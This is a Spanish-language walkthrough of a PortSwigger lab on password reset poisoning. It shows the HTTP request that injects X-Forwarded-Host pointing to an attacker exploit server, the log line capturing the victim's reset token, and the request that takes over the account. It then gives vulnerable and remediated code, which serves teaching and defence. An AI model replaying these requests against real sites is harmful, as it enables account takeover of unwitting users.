Password Reset Poisoning via Middleware — Host Header Injection — PortSwigger Lab
Envenenamiento del flujo de reset de contraseña inyectando la cabecera X-Forwarded-Host para que el token temporal se envíe al exploit server del atacante.
Password Reset Poisoning via Middleware
1. Target Overview & Vulnerability Summary
| Campo | Valor |
|---|---|
| Severidad | Alta |
| Endpoint vulnerable | POST /forgot-password |
| Root cause | El middleware confía en la cabecera X-Forwarded-Host para construir la URL del enlace de reset, permitiendo al atacante recibir el token temporal |
El backend genera el enlace de restablecimiento concatenando el host recibido de una cabecera de reenvío sin validar que pertenezca al dominio legítimo. Inyectando X-Forwarded-Host, la URL del token se envía al servidor del atacante, que lo captura y completa el reset de la contraseña de la víctima.
2. Technical Breakdown & Exploitation Flow
2.1 Benchmark del flujo legítimo
Con las credenciales wiener:peter se verifica el flujo normal: al solicitar el reset, el correo de la víctima recibe una URL construida por el backend con el parámetro temp-forgot-password-token (token temporal) y los campos new-password-1 y new-password-2.
2.2 Inyección de X-Forwarded-Host
Se reenvía la solicitud de reset hacia carlos añadiendo la cabecera X-Forwarded-Host apuntando al exploit server:
POST /forgot-password HTTP/2
Host: <LAB-ID>.web-security-academy.net
X-Forwarded-Host: exploit-0ab5002c04885d218019026601110039.exploit-server.net
Content-Type: application/x-www-form-urlencoded
username=carlos
El middleware construye el enlace de reset con el host inyectado y el correo de carlos no se usa: el token viaja al servidor del atacante.
2.3 Captura del token temporal
En los logs del exploit server aparece el GET con el token:
10.0.4.129 2025-12-16 13:56:08 +0000 "GET /forgot-password?temp-forgot-password-token=bdv3fccxflv4gu95l9c8nq4yojggips5 HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
2.4 Reset de la contraseña
Con el token en posesión del atacante, se completa el restablecimiento:
POST /forgot-password?temp-forgot-password-token=bdv3fccxflv4gu95l9c8nq4yojggips5 HTTP/2
Content-Type: application/x-www-form-urlencoded
temp-forgot-password-token=bdv3fccxflv4gu95l9c8nq4yojggips5&new-password-1=test&new-password-2=test
El cambio de contraseña de carlos queda bajo control del atacante, que inicia sesión con la nueva credencial.
3. Root Cause Analysis
El defecto está en la construcción de la URL del enlace de reset: el backend usa el host de X-Forwarded-Host (o X-Forwarded-Proto/Host) sin lista blanca de dominios permitidos. La confianza en cabeceras de reenvío es la causa raíz — un classico Host Header Injection que deriva en password reset poisoning.
# Implementación vulnerable
reset_url = f"https://{request.get_header('X-Forwarded-Host', request.host)}/forgot-password?temp-forgot-password-token={token}"
send_email(victim, reset_url) # ❌ Host controlado por el atacante
El token nunca se vincula a un origen esperado; el correo se envía a la víctima pero el enlace apunta al atacante.
4. Secure Remediation
Ignorar las cabeceras de reenvío y derivar el host exclusivamente de la configuración del servidor:
# Implementación segura
ALLOWED_HOSTS = {"<LAB-ID>.web-security-academy.net"}
if request.host not in ALLOWED_HOSTS:
deny() # Rechaza Host arbitrario e ignora X-Forwarded-Host
reset_url = f"https://{CONFIG.app_base_url}/forgot-password?temp-forgot-password-token={token}"
Defensa en profundidad: validar en el proxy que las cabeceras X-Forwarded-* solo se acepten desde proxies de confianza, y vincular el token al usuario en el servidor (ver Password reset broken logic).